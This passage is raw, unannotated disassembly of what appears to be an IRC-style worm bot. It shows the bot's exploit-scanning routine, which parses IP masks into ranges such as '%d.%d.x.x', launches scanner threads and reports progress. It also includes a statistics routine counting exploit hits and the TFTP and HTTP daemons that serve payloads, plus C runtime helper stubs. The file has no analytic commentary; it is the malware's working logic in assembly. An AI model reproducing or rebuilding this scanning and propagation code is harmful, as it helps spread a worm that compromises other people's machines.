		jz	short loc_4023B6
		inc	dword ptr [ebp-54h]
		mov	ecx, [ebp-54h]
		imul	ecx, 2Ch
		lea	ecx, dword_424528[ecx]
		mov	eax, ecx
		lea	esi, [eax+1]

loc_4023A9:				; CODE XREF: sub_4022D6+D8j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4023A9

loc_4023B0:				; CODE XREF: sub_4022D6+92j
		sub	eax, esi
		jnz	short loc_40236A
		jmp	short loc_4023BB
; ---------------------------------------------------------------------------

loc_4023B6:				; CODE XREF: sub_4022D6+BDj
		cmp	[ebp-54h], edi
		jnz	short loc_4023D8

loc_4023BB:				; CODE XREF: sub_4022D6+DEj
		push	offset aScanUnknownExp ; "Scan:	Unknown	Exploit."
		push	dword ptr [ebp-68h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 10h
		jmp	loc_4027EC
; ---------------------------------------------------------------------------

loc_4023D8:				; CODE XREF: sub_4022D6+E3j
		mov	esi, [ebx+8]
		mov	eax, esi
		mov	ecx, offset a____0 ; "*.*.*.*"
		call	sub_419834
		test	eax, eax
		jz	short loc_4023FD
		push	dword ptr [ebx+0Ch]
		mov	byte ptr [ebp-41h], 1
		call	sub_40416B
		pop	ecx
		mov	[ebp-4Ch], eax
		jmp	short loc_40245A
; ---------------------------------------------------------------------------

loc_4023FD:				; CODE XREF: sub_4022D6+113j
		push	esi
		call	sub_40416B
		pop	ecx
		push	3
		pop	edx
		cmp	[ebp+1Ch], edx
		mov	[ebp-4Ch], eax
		mov	[ebp-48h], edx
		jl	short loc_402453
		mov	eax, edx

loc_402414:				; CODE XREF: sub_4022D6+17Bj
		mov	ecx, [ebp-50h]
		mov	eax, [ecx+eax*4]
		mov	edi, eax
		mov	esi, offset aA	; "-a"
		mov	ecx, edx
		xor	ebx, ebx
		repe cmpsb
		jz	short loc_4024A1
		mov	edi, eax
		mov	esi, offset aB	; "-b"
		mov	ecx, edx
		xor	ebx, ebx
		repe cmpsb
		jz	short loc_402453
		mov	edi, eax
		mov	esi, offset aC	; "-c"
		mov	ecx, edx
		xor	eax, eax
		repe cmpsb
		jz	short loc_4024A7
		inc	dword ptr [ebp-48h]
		movzx	eax, word ptr [ebp-48h]
		cmp	eax, [ebp+1Ch]
		jle	short loc_402414

loc_402453:				; CODE XREF: sub_4022D6+13Aj
					; sub_4022D6+160j
		mov	dword ptr [ebp-48h], 1

loc_40245A:				; CODE XREF: sub_4022D6+125j
					; sub_4022D6+1CFj ...
		xor	eax, eax

loc_40245C:				; CODE XREF: sub_4022D6+19Cj
		cmp	byte_428749[eax], 0
		jz	short loc_402468
		inc	dword ptr [ebp-58h]

loc_402468:				; CODE XREF: sub_4022D6+18Dj
		add	eax, 124h
		cmp	eax, 0CD50h
		jbe	short loc_40245C
		mov	ecx, [ebp-58h]
		mov	eax, 0B4h
		sub	eax, ecx
		cmp	eax, [ebp-4Ch]
		jnb	short loc_4024B0
		push	eax
		push	offset aScanNotEnoughT ; "Scan:	Not Enough Threads. %d Available."...
		push	dword ptr [ebp-68h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 14h
		jmp	loc_4027EC
; ---------------------------------------------------------------------------

loc_4024A1:				; CODE XREF: sub_4022D6+151j
		and	dword ptr [ebp-48h], 0
		jmp	short loc_40245A
; ---------------------------------------------------------------------------

loc_4024A7:				; CODE XREF: sub_4022D6+16Fj
		mov	dword ptr [ebp-48h], 2
		jmp	short loc_40245A
; ---------------------------------------------------------------------------

loc_4024B0:				; CODE XREF: sub_4022D6+1ABj
		add	[ebp-4Ch], ecx
		cmp	byte ptr [ebp-41h], 0
		jz	loc_4025D7
		mov	eax, [ebp-50h]
		push	dword ptr [eax+8]
		lea	eax, [ebp-30h]
		push	offset dword_420B28
		push	0Fh
		pop	ebx
		push	ebx
		push	eax
		call	sub_402EAE
		lea	eax, [ebp-30h]
		add	esp, 10h
		lea	ecx, [eax+1]

loc_4024DE:				; CODE XREF: sub_4022D6+20Dj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_4024DE
		sub	eax, ecx
		mov	[ebp+eax-30h], dl
		lea	eax, [ebp-6Ch]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-60h]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-30h]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_4039A4
		add	esp, 18h
		cmp	dword ptr [ebp-5Ch], 0FFFFFFFFh
		lea	eax, [ebp-20h]
		jnz	short loc_402526
		push	offset aX_	; "x."
		push	ebx
		push	eax
		call	sub_402EAE
		add	esp, 0Ch
		jmp	short loc_402538
; ---------------------------------------------------------------------------

loc_402526:				; CODE XREF: sub_4022D6+23Dj
		push	dword ptr [ebp-5Ch]
		push	offset aD_	; "%d."
		push	ebx
		push	eax
		call	sub_402EAE
		add	esp, 10h

loc_402538:				; CODE XREF: sub_4022D6+24Ej
		cmp	dword ptr [ebp-60h], 0FFFFFFFFh
		mov	esi, offset aSD_ ; "%s%d."
		mov	edi, offset aSx_ ; "%sx."
		lea	eax, [ebp-20h]
		jnz	short loc_402559
		push	eax
		push	edi
		push	ebx
		push	eax
		call	sub_402EAE
		add	esp, 10h
		jmp	short loc_40256B
; ---------------------------------------------------------------------------

loc_402559:				; CODE XREF: sub_4022D6+273j
		push	dword ptr [ebp-60h]
		push	eax
		push	esi
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_402EAE
		add	esp, 14h

loc_40256B:				; CODE XREF: sub_4022D6+281j
		cmp	dword ptr [ebp-64h], 0FFFFFFFFh
		lea	eax, [ebp-20h]
		jnz	short loc_402582
		push	eax
		push	edi
		push	ebx
		push	eax
		call	sub_402EAE
		add	esp, 10h
		jmp	short loc_402594
; ---------------------------------------------------------------------------

loc_402582:				; CODE XREF: sub_4022D6+29Cj
		push	dword ptr [ebp-64h]
		push	eax
		push	esi
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_402EAE
		add	esp, 14h

loc_402594:				; CODE XREF: sub_4022D6+2AAj
		cmp	dword ptr [ebp-6Ch], 0FFFFFFFFh
		lea	eax, [ebp-20h]
		jnz	short loc_4025AF
		push	eax
		push	offset aSx	; "%sx"
		push	ebx
		push	eax
		call	sub_402EAE
		add	esp, 10h
		jmp	short loc_4025C5
; ---------------------------------------------------------------------------

loc_4025AF:				; CODE XREF: sub_4022D6+2C5j
		push	dword ptr [ebp-6Ch]
		push	eax
		push	offset aSD	; "%s%d"
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_402EAE
		add	esp, 14h

loc_4025C5:				; CODE XREF: sub_4022D6+2D7j
		lea	eax, [ebp-20h]
		lea	edx, [eax+1]

loc_4025CB:				; CODE XREF: sub_4022D6+2FAj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4025CB
		jmp	loc_4026B0
; ---------------------------------------------------------------------------

loc_4025D7:				; CODE XREF: sub_4022D6+1E1j
		push	dword_4283FC
		mov	byte ptr [ebp-40h], 0
		xor	eax, eax
		lea	edi, [ebp-3Fh]
		stosd
		stosd
		stosd
		stosw
		lea	esi, [ebp-40h]
		stosb
		call	sub_4197B6
		xor	eax, eax
		lea	edi, [ebp-30h]
		stosd
		stosd
		stosd
		stosd
		mov	eax, esi
		push	eax
		push	offset dword_420B28
		push	0Fh
		pop	esi
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_402EAE
		lea	eax, [ebp-30h]
		add	esp, 14h
		lea	ecx, [eax+1]

loc_40261B:				; CODE XREF: sub_4022D6+34Aj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40261B
		sub	eax, ecx
		mov	[ebp+eax-30h], dl
		lea	eax, [ebp-6Ch]
		push	eax
		lea	eax, [ebp-64h]
		push	eax
		lea	eax, [ebp-60h]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-30h]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	eax
		call	sub_4039A4
		mov	eax, [ebp-48h]
		add	esp, 18h
		sub	eax, 0
		jz	short loc_40268E
		dec	eax
		jz	short loc_402674
		dec	eax
		jnz	short loc_4026A3
		push	dword ptr [ebp-64h]
		lea	eax, [ebp-20h]
		push	dword ptr [ebp-60h]
		push	dword ptr [ebp-5Ch]
		push	offset aD_D_D_x	; "%d.%d.%d.x"
		push	esi
		push	eax
		call	sub_402EAE
		add	esp, 18h
		jmp	short loc_4026A3
; ---------------------------------------------------------------------------

loc_402674:				; CODE XREF: sub_4022D6+37Cj
		push	dword ptr [ebp-60h]
		lea	eax, [ebp-20h]
		push	dword ptr [ebp-5Ch]
		push	offset aD_D_x_x	; "%d.%d.x.x"
		push	esi
		push	eax
		call	sub_402EAE
		add	esp, 14h
		jmp	short loc_4026A3
; ---------------------------------------------------------------------------

loc_40268E:				; CODE XREF: sub_4022D6+379j
		push	dword ptr [ebp-5Ch]
		lea	eax, [ebp-20h]
		push	offset aD_x_x_x	; "%d.x.x.x"
		push	esi
		push	eax
		call	sub_402EAE
		add	esp, 10h

loc_4026A3:				; CODE XREF: sub_4022D6+37Fj
					; sub_4022D6+39Cj ...
		lea	eax, [ebp-20h]
		lea	edx, [eax+1]

loc_4026A9:				; CODE XREF: sub_4022D6+3D8j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4026A9

loc_4026B0:				; CODE XREF: sub_4022D6+2FCj
		sub	eax, edx
		cmp	byte ptr [ebp-41h], 0
		mov	byte ptr [ebp+eax-20h],	0
		mov	eax, [ebp-50h]
		jz	short loc_4026C5
		push	dword ptr [eax+0Ch]
		jmp	short loc_4026C8
; ---------------------------------------------------------------------------

loc_4026C5:				; CODE XREF: sub_4022D6+3E8j
		push	dword ptr [eax+8]

loc_4026C8:				; CODE XREF: sub_4022D6+3EDj
		call	sub_40416B
		push	eax
		mov	eax, [ebp-54h]
		imul	eax, 2Ch
		push	dword_424548[eax]
		lea	eax, [ebp-20h]
		push	eax
		push	offset aScanSDUsingDTh ; "Scan:	%s:%d Using %d Threads."
		push	dword ptr [ebp-68h]
		push	dword ptr [ebp+0Ch]
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 20h
		call	sub_419AEB
		mov	ecx, [ebp-4Ch]
		cmp	[ebp-58h], ecx
		jnb	loc_4027EC
		mov	eax, [ebp-58h]
		imul	eax, 124h
		sub	ecx, [ebp-58h]
		mov	[ebp-50h], eax
		mov	[ebp-4Ch], ecx
		mov	esi, eax

loc_40271B:				; CODE XREF: sub_4022D6+510j
		push	124h
		lea	ebx, dword_428738[esi]
		lea	edi, [ebx-100h]
		push	0
		push	edi
		call	sub_407F20
		lea	eax, [ebp-30h]
		push	eax
		push	offset dword_420B28
		push	0Fh
		push	ebx
		call	sub_402EAE
		mov	eax, ebx
		add	esp, 1Ch
		lea	ecx, [eax+1]

loc_40274D:				; CODE XREF: sub_4022D6+47Cj
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40274D
		push	dword ptr [ebp-68h]
		sub	eax, ecx
		mov	byte ptr dword_428738[esi+eax],	dl
		mov	al, [ebp-41h]
		push	offset dword_420B28
		mov	[ebx+12h], al
		mov	eax, [ebp-48h]
		push	0FFh
		push	edi
		mov	[ebx+18h], eax
		call	sub_402EAE
		mov	eax, edi
		add	esp, 10h
		lea	ecx, [eax+1]

loc_402784:				; CODE XREF: sub_4022D6+4B3j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_402784
		sub	eax, ecx
		mov	byte_428638[esi+eax], dl
		mov	al, [ebp+0Ch]
		mov	[ebx+10h], al
		mov	eax, [ebp-54h]
		push	8
		mov	byte ptr [ebx+11h], 1
		mov	[ebx+14h], eax
		call	sub_40340B
		pop	ecx
		mov	[ebp-58h], eax
		and	dword ptr [ebp-4], 0
		test	eax, eax
		jz	short loc_4027CF
		mov	ecx, edi
		push	offset sub_413DDD
		mov	edi, offset aScanner ; "Scanner"
		mov	esi, eax
		call	sub_414884
		mov	esi, [ebp-50h]
		jmp	short loc_4027D1
; ---------------------------------------------------------------------------

loc_4027CF:				; CODE XREF: sub_4022D6+4DFj
		xor	eax, eax

loc_4027D1:				; CODE XREF: sub_4022D6+4F7j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, [eax]
		add	esi, 124h
		dec	dword ptr [ebp-4Ch]
		mov	[ebx+20h], eax
		mov	[ebp-50h], esi
		jnz	loc_40271B

loc_4027EC:				; CODE XREF: sub_4022D6+61j
					; sub_4022D6+77j ...
		call	sub_404A2F
		retn	1Ch
sub_4022D6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4027F4	proc near		; DATA XREF: c.7ld2ih:off_420EACo

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 1Ch
		and	[esp+1Ch+var_1C], 0
		push	ebx
		push	esi
		mov	ebx, offset dword_435698
		push	edi
		mov	[esp+28h+var_10], ebx

loc_40280D:				; CODE XREF: sub_4027F4+83j
					; sub_4027F4+A0j ...
		mov	eax, dword_43569C
		mov	eax, [eax]
		mov	[esp+28h+var_14], eax
		mov	[esp+28h+var_18], ebx

loc_40281C:				; CODE XREF: sub_4027F4+67j
		mov	eax, dword_43569C
		lea	edi, [esp+28h+var_10]
		lea	esi, [esp+28h+var_18]
		mov	[esp+28h+var_C], eax
		call	sub_40166F
		test	al, al
		jz	short loc_4028AF
		mov	edi, offset aScanner ; "Scanner"
		call	sub_40164F
		mov	esi, eax
		add	esi, 5
		push	8
		pop	ecx
		xor	eax, eax
		repe cmpsb
		lea	esi, [esp+28h+var_18]
		jz	short loc_40285D
		lea	edi, [esp+28h+var_8]
		call	sub_40168C
		jmp	short loc_40281C
; ---------------------------------------------------------------------------

loc_40285D:				; CODE XREF: sub_4027F4+5Cj
		call	sub_40164F
		mov	edi, [eax+40h]
		lea	esi, [esp+28h+var_18]
		call	sub_40164F
		mov	eax, [eax]
		call	sub_4147FC
		test	al, al
		jz	short loc_40280D
		xor	eax, eax
		xor	ecx, ecx

loc_40287D:				; CODE XREF: sub_4027F4+9Ej
		cmp	dword_428758[ecx], edi
		jz	short loc_402899
		add	ecx, 124h
		inc	eax
		cmp	ecx, 0CD50h
		jbe	short loc_40287D
		jmp	loc_40280D
; ---------------------------------------------------------------------------

loc_402899:				; CODE XREF: sub_4027F4+8Fj
		inc	[esp+28h+var_1C]
		imul	eax, 124h
		mov	byte_428749[eax], 0
		jmp	loc_40280D
; ---------------------------------------------------------------------------

loc_4028AF:				; CODE XREF: sub_4027F4+40j
		push	[esp+28h+var_1C]
		push	offset aScanAllScanThr ; "Scan:	All Scan Threads Stopped. %d kill"...
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		push	offset dword_4283FC
		call	sub_417B51
		add	esp, 14h
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	1Ch
sub_4027F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=188h


sub_4028D4	proc near		; DATA XREF: c.7ld2ih:off_420EB4o

var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_203		= byte ptr -203h
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_10		= dword	ptr  18h

		push	ebp
		lea	ebp, [esp-188h]
		sub	esp, 208h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+188h+var_4], eax
		mov	eax, [ebp+188h+arg_10]
		push	esi
		push	edi
		mov	esi, 1FFh
		push	esi
		mov	[ebp+188h+var_208], eax
		lea	eax, [ebp+188h+var_203]
		push	0
		push	eax
		mov	[ebp+188h+var_204], 0
		call	sub_407F20
		push	offset aStatisticsExpl ; "Statistics: Exploits:"
		lea	eax, [ebp+188h+var_204]
		push	esi
		push	eax
		xor	edi, edi
		call	sub_402EAE
		add	esp, 18h
		xor	eax, eax

loc_402925:				; CODE XREF: sub_4028D4+7Ej
		push	dword_42454C[eax]
		lea	eax, dword_424528[eax]
		push	eax
		lea	eax, [ebp+188h+var_204]
		push	eax
		push	offset aSSD	; "%s %s: %d"
		push	esi
		push	eax
		call	sub_402EAE
		add	esp, 18h
		inc	edi
		mov	eax, edi
		imul	eax, 2Ch
		cmp	dword_424548[eax], 0
		jnz	short loc_402925
		lea	eax, [ebp+188h+var_204]
		push	eax
		push	offset aSDaemons ; "%s;	Daemons:"
		push	esi
		push	eax
		call	sub_402EAE
		push	dword_435394
		lea	eax, [ebp+188h+var_204]
		push	eax
		push	offset aSTftpD	; "%s TFTP: %d"
		push	esi
		push	eax
		call	sub_402EAE
		push	dword_435388
		lea	eax, [ebp+188h+var_204]
		push	eax
		push	offset aSHttpD	; "%s HTTP: %d"
		push	esi
		push	eax
		call	sub_402EAE
		add	esp, 38h
		lea	eax, [ebp+188h+var_204]
		pop	edi
		lea	edx, [eax+1]
		pop	esi

loc_40299B:				; CODE XREF: sub_4028D4+CCj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40299B
		sub	eax, edx
		mov	[ebp+eax+188h+var_204],	cl
		lea	eax, [ebp+188h+var_204]
		push	eax
		push	offset dword_420B28
		push	[ebp+188h+var_208]
		push	[ebp+188h+arg_4]
		push	offset dword_4283FC
		call	sub_417B51
		mov	ecx, [ebp+188h+var_4]
		xor	ecx, ebp
		add	esp, 14h
		call	sub_402AD0
		add	ebp, 188h
		leave
		retn	1Ch
sub_4028D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4029DE	proc near		; CODE XREF: sub_41B751+A6p
		jmp	ds:dword_41D1D8
sub_4029DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4029E4	proc near		; CODE XREF: sub_41B751+149p
		jmp	ds:dword_41D1D4
sub_4029E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4029EA	proc near		; CODE XREF: sub_41B751+76p
					; sub_41B751+B9p ...
		jmp	ds:dword_41D1D0
sub_4029EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4029F0	proc near		; CODE XREF: sub_41B751+C8p
					; sub_41B751+1C0p ...
		jmp	ds:dword_41D1CC
sub_4029F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4029F6	proc near		; CODE XREF: sub_41B751+1B1p
		jmp	ds:dword_41D1C8
sub_4029F6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4029FC	proc near		; CODE XREF: sub_414337+88p
					; sub_414337+C5p
		jmp	ds:dword_41D260
sub_4029FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402A02	proc near		; CODE XREF: sub_41AFA7+B2p
		jmp	ds:dword_41D1C0
sub_402A02	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_402A08	proc near		; CODE XREF: sub_401C1D+16p
					; sub_417776+24p ...
		jmp	sub_40340B
sub_402A08	endp


; =============== S U B	R O U T	I N E =======================================



sub_402A0D	proc near		; DATA XREF: c.7ld2ih:004215B4o
		mov	dword ptr [ecx], offset	off_41D348
		jmp	sub_40109A
sub_402A0D	endp

; ---------------------------------------------------------------------------

loc_402A18:				; DATA XREF: c.7ld2ih:off_41D348o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_41D348
		call	sub_40109A
		test	byte ptr [esp+8], 1
		jz	short loc_402A34
		push	esi
		call	sub_40332D
		pop	ecx

loc_402A34:				; CODE XREF: .text:00402A2Bj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_402A3A	proc near		; CODE XREF: sub_401337+Dp
		push	44h
		mov	eax, offset loc_41C8A3
		call	sub_40497C
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-28h]
		call	sub_401420
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401065
		push	offset dword_421C98
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_41D33C
		call	sub_40456B
		int	3		; Trap to Debugger
sub_402A3A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402A79	proc near		; CODE XREF: sub_401141+13p
					; sub_4012AC+Fp
		push	44h
		mov	eax, offset loc_41C8A3
		call	sub_40497C
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-28h]
		call	sub_401420
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-28h]
		push	eax
		lea	ecx, [ebp-50h]
		call	sub_401065
		push	offset dword_4215B0
		lea	eax, [ebp-50h]
		push	eax
		mov	dword ptr [ebp-50h], offset off_41D348
		call	sub_40456B
		int	3		; Trap to Debugger
		push	esi
		push	dword ptr [esp+8]
		mov	esi, ecx
		call	sub_4013E6
		mov	dword ptr [esi], offset	off_41D348
		mov	eax, esi
		pop	esi
		retn	4
sub_402A79	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_402AD0	proc near		; CODE XREF: sub_401DA7+9Ap
					; sub_401E4A+182p ...
		cmp	ecx, dword_423064
		jnz	short loc_402ADA
		rep retn
; ---------------------------------------------------------------------------

loc_402ADA:				; CODE XREF: sub_402AD0+6j
		jmp	sub_404A3E
sub_402AD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_402ADF	proc near		; CODE XREF: sub_402B96+Dp
					; sub_402CB9+1Ap ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		push	esi
		mov	esi, ecx
		mov	byte ptr [esi+0Ch], 0
		jnz	short loc_402B51
		call	sub_40574D
		mov	[esi+8], eax
		mov	ecx, [eax+6Ch]
		mov	[esi], ecx
		mov	ecx, [eax+68h]
		mov	[esi+4], ecx
		mov	ecx, [esi]
		cmp	ecx, off_423678
		jz	short loc_402B1D
		mov	ecx, dword_423594
		test	[eax+70h], ecx
		jnz	short loc_402B1D
		call	sub_405461
		mov	[esi], eax

loc_402B1D:				; CODE XREF: sub_402ADF+2Aj
					; sub_402ADF+35j
		mov	eax, [esi+4]
		cmp	eax, dword_423498
		jz	short loc_402B3E
		mov	eax, [esi+8]
		mov	ecx, dword_423594
		test	[eax+70h], ecx
		jnz	short loc_402B3E
		call	sub_404D50
		mov	[esi+4], eax

loc_402B3E:				; CODE XREF: sub_402ADF+47j
					; sub_402ADF+55j
		mov	eax, [esi+8]
		test	byte ptr [eax+70h], 2
		jnz	short loc_402B5B
		or	dword ptr [eax+70h], 2
		mov	byte ptr [esi+0Ch], 1
		jmp	short loc_402B5B
; ---------------------------------------------------------------------------

loc_402B51:				; CODE XREF: sub_402ADF+Dj
		mov	ecx, [eax]
		mov	[esi], ecx
		mov	eax, [eax+4]
		mov	[esi+4], eax

loc_402B5B:				; CODE XREF: sub_402ADF+66j
					; sub_402ADF+70j
		mov	eax, esi
		pop	esi
		retn	4
sub_402ADF	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B61	proc near		; CODE XREF: sub_402B96+86p
					; sub_402C69+39j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_402B6B:				; CODE XREF: sub_402B61+2Ej
		movzx	eax, byte ptr [esi]
		lea	ecx, [eax-41h]
		inc	esi
		cmp	ecx, 19h
		ja	short loc_402B7A
		add	eax, 20h

loc_402B7A:				; CODE XREF: sub_402B61+14j
		movzx	ecx, byte ptr [edx]
		lea	edi, [ecx-41h]
		inc	edx
		cmp	edi, 19h
		ja	short loc_402B89
		add	ecx, 20h

loc_402B89:				; CODE XREF: sub_402B61+23j
		test	eax, eax
		jz	short loc_402B91
		cmp	eax, ecx
		jz	short loc_402B6B

loc_402B91:				; CODE XREF: sub_402B61+2Aj
		pop	edi
		sub	eax, ecx
		pop	esi
		retn
sub_402B61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402B96	proc near		; CODE XREF: sub_402C69+45p
					; sub_40EB4A+8Fp

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	[ebp+arg_8]
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		xor	ebx, ebx
		cmp	[ebp+arg_0], ebx
		jnz	short loc_402BDD
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_402BD3
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_402BD3:				; CODE XREF: sub_402B96+34j
		mov	eax, 7FFFFFFFh
		jmp	loc_402C66
; ---------------------------------------------------------------------------

loc_402BDD:				; CODE XREF: sub_402B96+17j
		push	edi
		mov	edi, [ebp+arg_4]
		cmp	edi, ebx
		jnz	short loc_402C10
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_402C09
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_402C09:				; CODE XREF: sub_402B96+6Aj
		mov	eax, 7FFFFFFFh
		jmp	short loc_402C65
; ---------------------------------------------------------------------------

loc_402C10:				; CODE XREF: sub_402B96+4Dj
		mov	eax, [ebp+var_10]
		cmp	[eax+14h], ebx
		jnz	short loc_402C25
		push	edi
		push	[ebp+arg_0]
		call	sub_402B61
		pop	ecx
		pop	ecx
		jmp	short loc_402C59
; ---------------------------------------------------------------------------

loc_402C25:				; CODE XREF: sub_402B96+80j
		push	esi

loc_402C26:				; CODE XREF: sub_402B96+BCj
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_405A0A
		inc	[ebp+arg_0]
		mov	esi, eax
		movzx	eax, byte ptr [edi]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	eax
		call	sub_405A0A
		add	esp, 10h
		inc	edi
		cmp	esi, ebx
		jz	short loc_402C54
		cmp	esi, eax
		jz	short loc_402C26

loc_402C54:				; CODE XREF: sub_402B96+B8j
		sub	esi, eax
		mov	eax, esi
		pop	esi

loc_402C59:				; CODE XREF: sub_402B96+8Dj
		cmp	[ebp+var_4], bl
		jz	short loc_402C65
		mov	ecx, [ebp+var_8]
		and	dword ptr [ecx+70h], 0FFFFFFFDh

loc_402C65:				; CODE XREF: sub_402B96+78j
					; sub_402B96+C6j
		pop	edi

loc_402C66:				; CODE XREF: sub_402B96+42j
		pop	ebx
		leave
		retn
sub_402B96	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402C69	proc near		; CODE XREF: sub_417E66+34p
					; sub_417E66+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		xor	esi, esi
		cmp	dword_427820, esi
		jnz	short loc_402CA7
		cmp	[ebp+arg_0], esi
		jnz	short loc_402C9B

loc_402C7C:				; CODE XREF: sub_402C69+35j
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		mov	eax, 7FFFFFFFh
		jmp	short loc_402CB6
; ---------------------------------------------------------------------------

loc_402C9B:				; CODE XREF: sub_402C69+11j
		cmp	[ebp+arg_4], esi
		jz	short loc_402C7C
		pop	esi
		pop	ebp
		jmp	sub_402B61
; ---------------------------------------------------------------------------

loc_402CA7:				; CODE XREF: sub_402C69+Cj
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_402B96
		add	esp, 0Ch

loc_402CB6:				; CODE XREF: sub_402C69+30j
		pop	esi
		pop	ebp
		retn
sub_402C69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402CB9	proc near		; CODE XREF: sub_402DA9+51p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		jz	loc_402DA2
		push	[ebp+arg_C]
		lea	ecx, [ebp+var_10]
		call	sub_402ADF
		cmp	[ebp+arg_0], ebx
		jnz	short loc_402D0B

loc_402CDD:				; CODE XREF: sub_402CB9+57j
		call	sub_405B83
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		mov	dword ptr [eax], 16h
		call	sub_4032F9
		add	esp, 14h
		cmp	[ebp+var_4], bl
		jz	short loc_402D01
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_402D01:				; CODE XREF: sub_402CB9+3Fj
		mov	eax, 7FFFFFFFh
		jmp	loc_402DA4
